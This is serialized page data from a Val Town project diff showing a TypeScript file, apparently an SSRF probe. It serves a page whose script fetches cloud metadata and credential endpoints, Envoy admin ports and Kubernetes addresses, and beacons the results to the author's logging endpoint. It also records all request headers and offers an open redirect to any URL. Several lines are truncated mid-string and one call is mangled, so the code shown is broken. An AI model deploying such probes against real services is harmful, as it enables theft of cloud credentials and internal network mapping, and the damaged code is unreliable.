[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_154":155,"_156":157},"routes/_app.x.$handle.$name",{"_98":97,"_32":45,"_105":88,"_27":36,"_13":14,"_106":-5,"_11":107,"_108":109,"_110":111,"_112":113,"_114":115,"_20":-5,"_116":-5,"_117":-5,"_118":25,"_119":120,"_121":25,"_122":-5,"_123":-5,"_124":125},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_43":44,"_32":45,"_38":46,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":36,"_53":-5,"_18":54,"_55":31,"_56":57,"_58":-5,"_59":-5,"_60":61,"_62":63,"_64":65,"_66":67,"_68":69,"_70":-5,"_71":72,"_73":72,"_74":75,"_76":75,"_77":75,"_78":72,"_79":72,"_80":81,"_82":83,"_84":85,"_86":25},"version",2,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":37,"_38":39,"_40":14,"_41":42,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","18f333c2-ada3-11f1-b354-1607ee4eb77e","name","fileType","script","content","","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"imag\n }\n\n if (url.pathname === \"/scan\") {\n const base = \"https://keekeetest--2e5acc6cada211f1a2671607e\n const targets = [\n base + \"/\",\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = bIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"ping('js-start', 'started');\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 15\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'reso\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag + \"

scanning

\";\n return new Response(html, { status: 200, headers: { \"conten\n }\n\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n method: req.method,\n path: url.pathname,\n query: Object.fromEntries(url.searchParams),\n headers: Object.fromEntries(req.headers),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".lengt\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Locatio\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } }\n );\n}","createdAt",["D",1789105149158],"branchVersion","branchId","498a9a8f-f322-4927-a947-1cdb91dc690b","id","4d1ba924-1846-49d1-83e7-13a8270b0dd2","ktest3",["D",1789105143473],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","imageUrl","5cf833c3-55e9-493d-abda-ded425f7f0dd","pinnedFileId","pinPreview",true,"pinMigrated","screenshotVersion","likeCount",0,"orgId","019f42ea-99f8-7162-b165-4dd364d8479a","tursoName","4d1ba924184649d183e713a8270b0dd2","tursoHostname","4d1ba924184649d183e713a8270b0dd2-val-town.aws-us-east-2.turso.io","tursoMeasuredAt",["D",1789452686325],"pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_98":97,"_104":36},"org",{"_98":97,"_99":36,"_100":36,"_18":54,"_101":102,"_103":25},"branch",{"_13":87,"_32":88,"_43":42,"_89":44,"_90":-5,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":45,"_96":97},"isOwned",12,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","keekeetest","handle","displayName","avatar","tier","free","canRestrictVals","profileImageUrl","branchName","adoptOrgId",{"_43":44,"_32":45,"_38":149,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":36,"_53":-5,"_18":54,"_55":31,"_56":57,"_58":-5,"_59":-5,"_60":61,"_62":63,"_64":65,"_66":67,"_68":150,"_70":-5,"_71":72,"_73":72,"_74":75,"_76":75,"_77":75,"_78":72,"_79":72,"_80":151,"_82":152,"_84":153,"_86":25},"tree",[144],"files",[144],"counts",{"_134":61,"_135":131,"_136":61,"_137":138,"_139":140},"contents",[126],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_43":127,"_32":28,"_30":31,"_128":-5,"_41":42,"_40":14,"_129":25,"_38":130,"_13":131,"_33":34,"_35":37,"_24":25,"_132":-5,"_27":133},"e8724736-601e-4ad5-af20-b9a6e7eb3aab","parentId","latest",["D",1789105149158],1,"label",[28],"pulls","branches","forks","envVars",{"_141":61,"_143":61},"connections",{"_141":61,"_142":61},"count","unfilledCount","emptyCount",{"_43":127,"_32":28,"_30":31,"_128":-5,"_41":42,"_40":14,"_129":25,"_38":145,"_13":131,"_33":34,"_35":37,"_24":25,"_132":-5,"_146":147,"_27":148},["D",1789105149158],"children",[],[28],["D",1789105143473],["D",1789452686325],{"_98":97,"_104":36},{"_98":97,"_99":36,"_100":36,"_18":54,"_101":102,"_103":25},{"_13":87,"_32":88,"_43":42,"_89":44,"_90":-5,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":45,"_96":97},"ctx",{"_80":-5,"_123":187,"_188":189,"_190":191,"_192":25,"_193":25,"_194":25,"_195":57,"_196":-5,"_197":-7,"_198":-7,"_199":61,"_200":25,"_201":25,"_202":-5,"_203":25,"_204":25,"_205":25,"_206":-5},"ENV",{"_158":159,"_160":161,"_162":88,"_163":164,"_165":166,"_167":168,"_169":170,"_171":172,"_173":174,"_175":176,"_177":178,"_179":180,"_181":182,"_183":184,"_185":186},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v2